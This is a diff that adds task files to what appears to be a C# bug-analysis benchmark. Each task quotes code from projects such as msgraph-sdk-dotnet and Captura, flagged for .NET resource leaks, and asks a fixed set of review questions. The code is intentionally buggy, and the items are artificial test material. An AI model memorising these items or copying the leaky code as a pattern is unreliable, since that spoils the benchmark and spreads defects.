+        /// of sending an <see cref="HttpRequestMessage"/> and receiving an <see cref="HttpResponseMessage"/>.
+        /// The handlers are invoked in a top-down fashion. That is, the first entry is invoked first for
+        /// an outbound request message but last for an inbound response message.</param>
+        /// <returns>The HTTP message channel.</returns>
+        public static HttpMessageHandler CreatePipeline(IEnumerable<DelegatingHandler> handlers, HttpMessageHandler innerHandler = null )
+        {
+            if (innerHandler == null)
+            {
+                innerHandler = DefaultHttpHandler();
+            }
+
+            if (handlers == null)
+            {
+                return innerHandler;
+            }
+
+            HttpMessageHandler pipeline = innerHandler;
+            IEnumerable<DelegatingHandler> reversedHandlers = handlers.Reverse();
+            foreach (DelegatingHandler handler in reversedHandlers)
+            {
+                if (handler == null)
+                {
+                    throw new ArgumentNullException(nameof(handlers), "DelegatingHandler array contains null item.");
+                }
+
+                if (handler.InnerHandler != null)
+                {
+                    throw new ArgumentException(String.Format("DelegatingHandler array has unexpected InnerHandler. {0} has unexpected InnerHandler.", handler, "handler"));
+                }
+
+                handler.InnerHandler = pipeline;
+                pipeline = handler;
+            }
+
+            return pipeline;
+        }
+
+
+
+        ///// <summary>
+        ///// Configure an instance of an <see cref="HttpClient"/>
+        ///// </summary>
+        ///// <param name="client">The <see cref="HttpClient"/> client instance need to be configured.</param>
+        ///// <param name="timeout">A <see cref="TimeSpan"/> value for the HTTP client timeout property.</param>
+        ///// <param name="baseAddress">A <see cref="Uri"/> value to set the HTTP client BaseAddress property.</param>
+        ///// <param name="cacheControlHeaderValue">A <see cref="CacheControlHeaderValue"/> value to set HTTP client DefaultRequestHeaders property.</param>
+        ///// <returns></returns>
+        //public static HttpClient Configure(HttpClient client, TimeSpan timeout, Uri baseAddress, CacheControlHeaderValue cacheControlHeaderValue)
+        //{
+        //    try
+        //    {
+        //        client.Timeout = timeout;
+        //    }
+        //    catch (InvalidOperationException exception)
+        //    {
+        //        throw new ServiceException(
+        //            new Error
+        //            {
+        //                Code = ErrorConstants.Codes.NotAllowed,
+        //                Message = ErrorConstants.Messages.OverallTimeoutCannotBeSet,
+        //            },
+        //            exception);
+        //    }
+
+        //    client.BaseAddress = baseAddress == null ? new Uri(_baseAddress + Version) : baseAddress;
+        //    client.DefaultRequestHeaders.CacheControl = cacheControlHeaderValue ?? new CacheControlHeaderValue { NoCache = true, NoStore = true };
+        //    return client;
+        //}
+
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Microsoft.Graph.RedirectHandler::.ctor() at Line 113) of type System.Net.Http.DelegatingHandler, Leaked resource (output of Microsoft.Graph.RetryHandler::.ctor() at Line 113) of type System.Net.Http.DelegatingHandler in method "IEnumerable`1<!0> GraphClientFactory.CreateDefaultHandlers()".
+
+### Severity:
+ERROR
+
+### Procedure:
+IEnumerable`1<!0> GraphClientFactory.CreateDefaultHandlers()
+
+### File:
+src/Microsoft.Graph.Core/Requests/GraphClientFactory.cs
+
+### Key:
+GraphClientFactory.cs|CreateDefaultHandlers|DOTNET_RESOURCE_LEAK
+
+### Hash:
+6c16dadcaefcc1d9be6dd9079d2d05a3
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1480/instruction.md b/inferredbugs-1480/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e996782b854e3aca24d054adf481d28b530c4cbb
--- /dev/null
+++ b/inferredbugs-1480/instruction.md
@@ -0,0 +1,100 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** msgraph-sdk-dotnet
+**Bug ID:** 10
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+namespace Microsoft.Graph.DotnetCore.Core.Test.Extensions
+{
+    using Microsoft.Graph.DotnetCore.Core.Test.Requests;
+    using System.Net.Http;
+    using Xunit;
+    public class BaseRequestExtensionsTests: RequestTestBase
+    {
+        string requestUrl = "https://foo.bar";
+
+        [Fact]
+        public void WithShouldRetry_ShouldDelegateToRetryOption()
+        {
+            HttpResponseMessage httpResponseMessage = new HttpResponseMessage();
+            var baseRequest = new BaseRequest(requestUrl, this.baseClient);
+            baseRequest.WithShouldRetry((response) => true);
+
+            Assert.IsType<GraphRequestContext>(baseRequest.GetHttpRequestMessage().Properties[typeof(GraphRequestContext).ToString()]);
+            Assert.True(baseRequest.GetHttpRequestMessage().GetMiddlewareOption<RetryOption>().ShouldRetry(httpResponseMessage));
+        }
+
+        [Fact]
+        public void WithMaxRetry_ShouldAddMaxRetryToRetryOption()
+        {
+            var baseRequest = new BaseRequest(requestUrl, this.baseClient);
+            baseRequest.WithMaxRetry(3);
+
+            Assert.IsType<GraphRequestContext>(baseRequest.GetHttpRequestMessage().Properties[typeof(GraphRequestContext).ToString()]);
+            Assert.Equal(3, baseRequest.GetHttpRequestMessage().GetMiddlewareOption<RetryOption>().MaxRetry);
+        }
+
+        [Fact]
+        public void WithMaxRedirects_ShouldAddMaxRedirectsToRedirectOption()
+        {
+            var baseRequest = new BaseRequest(requestUrl, this.baseClient);
+            baseRequest.WithMaxRedirects(4);
+
+            Assert.IsType<GraphRequestContext>(baseRequest.GetHttpRequestMessage().Properties[typeof(GraphRequestContext).ToString()]);
+            Assert.Equal(4, baseRequest.GetHttpRequestMessage().GetMiddlewareOption<RedirectOption>().MaxRedirects);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from System.Net.Http.HttpRequestMessage Microsoft.Graph.BaseRequest::GetHttpRequestMessage() at Line 38) of type System.Net.Http.HttpRequestMessage, Leaked resource (returned from System.Net.Http.HttpRequestMessage Microsoft.Graph.BaseRequest::GetHttpRequestMessage() at Line 37) of type System.Net.Http.HttpRequestMessage in method "Void BaseRequestExtensionsTests.WithMaxRedirects_ShouldAddMaxRedirectsToRedirectOption()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void BaseRequestExtensionsTests.WithMaxRedirects_ShouldAddMaxRedirectsToRedirectOption()
+
+### File:
+tests/Microsoft.Graph.DotnetCore.Core.Test/Extensions/BaseRequestExtensionsTests.cs
+
+### Key:
+BaseRequestExtensionsTests.cs|WithMaxRedirects_ShouldAddMaxRedirectsToRedirectOption|DOTNET_RESOURCE_LEAK
+
+### Hash:
+98df06ce7f56599547100603fc1fad75
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1481/instruction.md b/inferredbugs-1481/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e2a3f673fff655756d8ed053efac41b851fe0270
--- /dev/null
+++ b/inferredbugs-1481/instruction.md
@@ -0,0 +1,158 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** msgraph-sdk-dotnet
+**Bug ID:** 8
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+namespace Microsoft.Graph.DotnetCore.Core.Test.Extensions
+{
+    using Microsoft.Graph.DotnetCore.Core.Test.Requests;
+    using System.Net.Http;
+    using Xunit;
+    public class BaseRequestExtensionsTests: RequestTestBase
+    {
+        string requestUrl = "https://foo.bar";
+        BaseRequest baseRequest;
+        public BaseRequestExtensionsTests()
+        {
+            baseRequest = new BaseRequest(requestUrl, this.baseClient);
+        }
+
+        [Fact]
+        public void WithScopes_ShouldAddScopesToAuthOption()
+        {
+            string[] scopes = new string[] { "foo.bar", "user.bar", "user.foo"};
+
+            baseRequest.WithScopes(scopes);
+
+            Assert.IsType<RequestContext>(baseRequest.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.Same(scopes, baseRequest.GetHttpRequestMessage().GetMiddlewareOption<AuthOption>().Scopes);
+        }
+
+        [Fact]
+        public void WithScopes_ShouldOnlyAddScopesToExistingAuthOption()
+        {
+            string[] scopes = new string[] { "foo.bar", "user.bar", "user.foo" };
+
+            baseRequest
+                .WithForceRefresh(false)
+                .WithScopes(scopes);
+
+            Assert.IsType<RequestContext>(baseRequest.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.Equal(false, baseRequest.GetHttpRequestMessage().GetMiddlewareOption<AuthOption>().ForceRefresh);
+            Assert.Same(scopes, baseRequest.GetHttpRequestMessage().GetMiddlewareOption<AuthOption>().Scopes);
+        }
+
+        [Fact]
+        public void WithForceRefresh_ShouldAddForceRefreshToAuthOption()
+        {
+            string requestUrl = "https://foo.bar";
+            var request = new BaseRequest(requestUrl, this.baseClient);
+
+            request.WithForceRefresh(true);
+
+            Assert.IsType<RequestContext>(request.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.True(request.GetHttpRequestMessage().GetMiddlewareOption<AuthOption>().ForceRefresh);
+        }
+
+        [Fact]
+        public void WithShouldRetry_ShouldDelegateToRetryOption()
+        {
+            HttpResponseMessage httpResponseMessage = new HttpResponseMessage();
+
+            baseRequest.WithShouldRetry((response) => true);
+
+            Assert.IsType<RequestContext>(baseRequest.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.True(baseRequest.GetHttpRequestMessage().GetMiddlewareOption<RetryOption>().ShouldRetry(httpResponseMessage));
+        }
+
+        [Fact]
+        public void WithMaxRetry_ShouldAddMaxRetryToRetryOption()
+        {
+            baseRequest.WithMaxRetry(3);
+
+            Assert.IsType<RequestContext>(baseRequest.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.Equal(3, baseRequest.GetHttpRequestMessage().GetMiddlewareOption<RetryOption>().MaxRetry);
+        }
+
+        [Fact]
+        public void WithMaxRedirects_ShouldAddMaxRedirectsToRedirectOption()
+        {
+            baseRequest.WithMaxRedirects(4);
+
+            Assert.IsType<RequestContext>(baseRequest.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.Equal(4, baseRequest.GetHttpRequestMessage().GetMiddlewareOption<RedirectOption>().MaxRedirects);
+        }
+
+        [Fact]
+        public void AddMiddlewareOptions_ShouldAddMiddlewareOptionsToTheRequestContext()
+        {
+            var request = new BaseRequest("http://localhost.bar", this.baseClient);
+            var middlewareOptions = new IMiddlewareOption[]
+            {
+                new RetryOption { MaxRetry = 10, ShouldRetry = (response) => true },
+                new AuthOption { ForceRefresh = false, Scopes = new string[] { "foo.bar", "user.read" } },
+                new RedirectOption { MaxRedirects = 6 }
+            };
+
+            request.AddMiddlewareOptions(middlewareOptions);
+
+            Assert.IsType<RequestContext>(request.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.Equal(middlewareOptions.Length, request.GetHttpRequestMessage().GetRequestContext().MiddlewareOptions.Count);
+            Assert.Same(middlewareOptions[1], request.GetHttpRequestMessage().GetMiddlewareOption<AuthOption>());
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from System.Net.Http.HttpRequestMessage Microsoft.Graph.BaseRequest::GetHttpRequestMessage() at Line 23) of type System.Net.Http.HttpRequestMessage, Leaked resource (returned from System.Net.Http.HttpRequestMessage Microsoft.Graph.BaseRequest::GetHttpRequestMessage() at Line 22) of type System.Net.Http.HttpRequestMessage in method "Void BaseRequestExtensionsTests.WithScopes_ShouldAddScopesToAuthOption()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void BaseRequestExtensionsTests.WithScopes_ShouldAddScopesToAuthOption()
+
+### File:
+tests/Microsoft.Graph.DotnetCore.Core.Test/Extensions/BaseRequestExtensionsTests.cs
+
+### Key:
+BaseRequestExtensionsTests.cs|WithScopes_ShouldAddScopesToAuthOption|DOTNET_RESOURCE_LEAK
+
+### Hash:
+59233786e7f6a51d44a8566ba2b4a545
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1487/instruction.md b/inferredbugs-1487/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cd2008ce83b44b5e4c1481edaa030ce50fcc1e80
--- /dev/null
+++ b/inferredbugs-1487/instruction.md
@@ -0,0 +1,158 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** msgraph-sdk-dotnet
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+namespace Microsoft.Graph.DotnetCore.Core.Test.Extensions
+{
+    using Microsoft.Graph.DotnetCore.Core.Test.Requests;
+    using System.Net.Http;
+    using Xunit;
+    public class BaseRequestExtensionsTests: RequestTestBase
+    {
+        string requestUrl = "https://foo.bar";
+        BaseRequest baseRequest;
+        public BaseRequestExtensionsTests()
+        {
+            baseRequest = new BaseRequest(requestUrl, this.baseClient);
+        }
+
+        [Fact]
+        public void WithScopes_ShouldAddScopesToAuthOption()
+        {
+            string[] scopes = new string[] { "foo.bar", "user.bar", "user.foo"};
+
+            baseRequest.WithScopes(scopes);
+
+            Assert.IsType<RequestContext>(baseRequest.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.Same(scopes, baseRequest.GetHttpRequestMessage().GetMiddlewareOption<AuthOption>().Scopes);
+        }
+
+        [Fact]
+        public void WithScopes_ShouldOnlyAddScopesToExistingAuthOption()
+        {
+            string[] scopes = new string[] { "foo.bar", "user.bar", "user.foo" };
+
+            baseRequest
+                .WithForceRefresh(false)
+                .WithScopes(scopes);
+
+            Assert.IsType<RequestContext>(baseRequest.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.Equal(false, baseRequest.GetHttpRequestMessage().GetMiddlewareOption<AuthOption>().ForceRefresh);
+            Assert.Same(scopes, baseRequest.GetHttpRequestMessage().GetMiddlewareOption<AuthOption>().Scopes);
+        }
+
+        [Fact]
+        public void WithForceRefresh_ShouldAddForceRefreshToAuthOption()
+        {
+            string requestUrl = "https://foo.bar";
+            var request = new BaseRequest(requestUrl, this.baseClient);
+
+            request.WithForceRefresh(true);
+
+            Assert.IsType<RequestContext>(request.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.True(request.GetHttpRequestMessage().GetMiddlewareOption<AuthOption>().ForceRefresh);
+        }
+
+        [Fact]
+        public void WithShouldRetry_ShouldDelegateToRetryOption()
+        {
+            HttpResponseMessage httpResponseMessage = new HttpResponseMessage();
+
+            baseRequest.WithShouldRetry((response) => true);
+
+            Assert.IsType<RequestContext>(baseRequest.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.True(baseRequest.GetHttpRequestMessage().GetMiddlewareOption<RetryOption>().ShouldRetry(httpResponseMessage));
+        }
+
+        [Fact]
+        public void WithMaxRetry_ShouldAddMaxRetryToRetryOption()
+        {
+            baseRequest.WithMaxRetry(3);
+
+            Assert.IsType<RequestContext>(baseRequest.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.Equal(3, baseRequest.GetHttpRequestMessage().GetMiddlewareOption<RetryOption>().MaxRetry);
+        }
+
+        [Fact]
+        public void WithMaxRedirects_ShouldAddMaxRedirectsToRedirectOption()
+        {
+            baseRequest.WithMaxRedirects(4);
+
+            Assert.IsType<RequestContext>(baseRequest.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.Equal(4, baseRequest.GetHttpRequestMessage().GetMiddlewareOption<RedirectOption>().MaxRedirects);
+        }
+
+        [Fact]
+        public void AddMiddlewareOptions_ShouldAddMiddlewareOptionsToTheRequestContext()
+        {
+            var request = new BaseRequest("http://localhost.bar", this.baseClient);
+            var middlewareOptions = new IMiddlewareOption[]
+            {
+                new RetryOption { MaxRetry = 10, ShouldRetry = (response) => true },
+                new AuthOption { ForceRefresh = false, Scopes = new string[] { "foo.bar", "user.read" } },
+                new RedirectOption { MaxRedirects = 6 }
+            };
+
+            request.AddMiddlewareOptions(middlewareOptions);
+
+            Assert.IsType<RequestContext>(request.GetHttpRequestMessage().Properties[typeof(RequestContext).ToString()]);
+            Assert.Equal(middlewareOptions.Length, request.GetHttpRequestMessage().GetRequestContext().MiddlewareOptions.Count);
+            Assert.Same(middlewareOptions[1], request.GetHttpRequestMessage().GetMiddlewareOption<AuthOption>());
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from System.Net.Http.HttpRequestMessage Microsoft.Graph.BaseRequest::GetHttpRequestMessage() at Line 69) of type System.Net.Http.HttpRequestMessage, Leaked resource (returned from System.Net.Http.HttpRequestMessage Microsoft.Graph.BaseRequest::GetHttpRequestMessage() at Line 68) of type System.Net.Http.HttpRequestMessage in method "Void BaseRequestExtensionsTests.WithMaxRetry_ShouldAddMaxRetryToRetryOption()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void BaseRequestExtensionsTests.WithMaxRetry_ShouldAddMaxRetryToRetryOption()
+
+### File:
+tests/Microsoft.Graph.DotnetCore.Core.Test/Extensions/BaseRequestExtensionsTests.cs
+
+### Key:
+BaseRequestExtensionsTests.cs|WithMaxRetry_ShouldAddMaxRetryToRetryOption|DOTNET_RESOURCE_LEAK
+
+### Hash:
+1c1c57a840be7735edceb5864bf41ab3
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1488/instruction.md b/inferredbugs-1488/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..939cb9f4f0c283ad37e5f0bce321f4c96b2c06dd
--- /dev/null
+++ b/inferredbugs-1488/instruction.md
@@ -0,0 +1,77 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** FFMpegSharp
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Drawing;
+using System.IO;
+using FFMpegSharp.FFMPEG;
+
+namespace FFMpegSharp.Extend
+{
+    public static class BitmapExtensions
+    {
+        public static VideoInfo AddAudio(this Bitmap poster, FileInfo audio, FileInfo output)
+        {
+            var destination = $"{Environment.TickCount}.png";
+
+            poster.Save(destination);
+            
+            return new FFMpeg().PosterWithAudio(new FileInfo(destination), audio, output);
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of FFMpegSharp.FFMPEG.FFMpeg::.ctor() at Line 16) of type FFMpegSharp.FFMPEG.FFMpeg in method "VideoInfo BitmapExtensions.AddAudio(Bitmap,FileInfo,FileInfo)".
+
+### Severity:
+ERROR
+
+### Procedure:
+VideoInfo BitmapExtensions.AddAudio(Bitmap,FileInfo,FileInfo)
+
+### File:
+FFMpegSharp/Extend/BitmapExtensions.cs
+
+### Key:
+BitmapExtensions.cs|AddAudio|DOTNET_RESOURCE_LEAK
+
+### Hash:
+e13541b4e6c05c3e7098a861941c7429
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1489/instruction.md b/inferredbugs-1489/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..34e5c656cabfe4e98d575fc08eb8597ebcf06cf4
--- /dev/null
+++ b/inferredbugs-1489/instruction.md
@@ -0,0 +1,116 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Captura
+**Bug ID:** 6
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Drawing;
+using Captura.Audio;
+using Moq;
+using Screna;
+
+namespace Captura.Tests
+{
+    // ReSharper disable once ClassNeverInstantiated.Global
+    public class MoqFixture : IDisposable
+    {
+        public void Dispose() { }
+
+        public Mock<IImageProvider> GetImageProviderMock(int Width = 100, int Height = 50)
+        {
+            var mock = new Mock<IImageProvider>();
+
+            mock.Setup(M => M.Width).Returns(Width);
+
+            mock.Setup(M => M.Height).Returns(Height);
+
+            mock.Setup(M => M.Capture()).Returns(new OneTimeFrame(new Bitmap(Width, Height)));
+
+            return mock;
+        }
+
+        public Mock<IAudioProvider> GetAudioProviderMock()
+        {
+            var mock = new Mock<IAudioProvider>();
+
+            mock.Setup(M => M.WaveFormat).Returns(new WaveFormat());
+
+            return mock;
+        }
+
+        public Mock<IAudioFileWriter> GetAudioFileWriterMock()
+        {
+            return new Mock<IAudioFileWriter>();
+        }
+
+        public Mock<IVideoFileWriter> GetVideoFileWriterMock()
+        {
+            var mock = new Mock<IVideoFileWriter>();
+
+            mock.Setup(M => M.WriteFrame(It.IsAny<IBitmapFrame>()))
+                .Callback<IBitmapFrame>(M => M.Dispose());
+
+            mock.Setup(M => M.SupportsAudio).Returns(true);
+
+            return mock;
+        }
+
+        public Mock<IOverlay> GetOverlayMock()
+        {
+            return new Mock<IOverlay>();
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Screna.OneTimeFrame::.ctor() at Line 22) of type Screna.OneTimeFrame, Leaked resource (output of System.Drawing.Bitmap::.ctor() at Line 22) of type System.Drawing.Bitmap in method "Mock`1<!0> MoqFixture.GetImageProviderMock(Int32,Int32)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Mock`1<!0> MoqFixture.GetImageProviderMock(Int32,Int32)
+
+### File:
+src/Tests/Fixtures/MoqFixture.cs
+
+### Key:
+MoqFixture.cs|GetImageProviderMock|DOTNET_RESOURCE_LEAK
+
+### Hash:
+8e8fe749e213cf1f2980ba4d30e680f1
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1507/instruction.md b/inferredbugs-1507/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a1e58317e2297d2c24e25c47b5bfda78777529ea
--- /dev/null
+++ b/inferredbugs-1507/instruction.md
@@ -0,0 +1,107 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Threenine.Data
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Text;
+using Microsoft.EntityFrameworkCore;
+using TestDatabase;
+using Xunit;
+
+namespace Threenine.Data.Tests
+{
+  public  class RepositoryAddTestsSQLLite
+    {
+        [Fact]
+        public void ShouldAddNewProduct()
+        {
+           
+            var uow = new UnitOfWork<TestDbContext>(GetSqlLiteInMemoryContext());
+           var repo = uow.GetRepository<TestProduct>();
+
+            var newProduct = new TestProduct() { Name = "Test Product", Category = new TestCategory() { Id = 1, Name = "UNi TEtS" } };
+
+            repo.Add(newProduct);
+            uow.SaveChanges();
+
+            Assert.Equal(1, newProduct.Id);
+
+        }
+
+
+        private TestDbContext GetSqlLiteInMemoryContext()
+        {
+          
+            var options = new DbContextOptionsBuilder<TestDbContext>()
+                .UseSqlite("DataSource=:memory:")
+                
+                .Options;
+
+       
+            var context = new TestDbContext(options);
+            context.Database.OpenConnection();
+            context.Database.EnsureCreated();
+            var testCat = new TestCategory(){ Id = 1, Name = "UNi TEtS"};
+
+            context.TestCategories.Add(testCat);
+            context.SaveChanges();
+            return context;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from TestDatabase.TestDbContext Threenine.Data.Tests.RepositoryAddTestsSQLLite::GetSqlLiteInMemoryContext() at Line 16) of type Microsoft.EntityFrameworkCore.DbContext in method "Void RepositoryAddTestsSQLLite.ShouldAddNewProduct()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void RepositoryAddTestsSQLLite.ShouldAddNewProduct()
+
+### File:
+GenericRepositoryTests/RepositoryAddTestsSQLLite.cs
+
+### Key:
+RepositoryAddTestsSQLLite.cs|ShouldAddNewProduct|DOTNET_RESOURCE_LEAK
+
+### Hash:
+57c0329c82e4ae0e76a4936a0e3abcfe
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1538/instruction.md b/inferredbugs-1538/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..922791b250103c0c9048656a81462d4f75eb2e04
--- /dev/null
+++ b/inferredbugs-1538/instruction.md
@@ -0,0 +1,641 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** PaySharp
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using ICanPay.Core;
+using ICanPay.Core.Exceptions;
+using ICanPay.Core.Utils;
+using System;
+using System.IO;
+using System.Security.Cryptography.X509Certificates;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace ICanPay.Wechatpay
+{
+    /// <summary>
+    /// 微信支付网关
+    /// </summary>
+    public sealed class WechatpayGateway : GatewayBase,
+        IScanPayment, IAppPayment, IUrlPayment, IPublicPayment, IAppletPayment, IBarcodePayment,
+        IQuery, ICancel, IClose, IBillDownload, IRefund, IRefundQuery
+    {
+
+        #region 私有字段
+
+        private readonly Merchant _merchant;
+        private const string UNIFIEDORDERGATEWAYURL = "https://api.mch.weixin.qq.com/pay/unifiedorder";
+        private const string QUERYGATEWAYURL = "https://api.mch.weixin.qq.com/pay/orderquery";
+        private const string CANCELGATEWAYURL = "https://api.mch.weixin.qq.com/secapi/pay/reverse";
+        private const string CLOSEORDERGATEWAYURL = "https://api.mch.weixin.qq.com/pay/closeorder";
+        private const string REFUNDGATEWAYURL = "https://api.mch.weixin.qq.com/secapi/pay/refund";
+        private const string REFUNDQUERYGATEWAYURL = "https://api.mch.weixin.qq.com/pay/refundquery";
+        private const string DOWNLOADBILLGATEWAYURL = "https://api.mch.weixin.qq.com/pay/downloadbill";
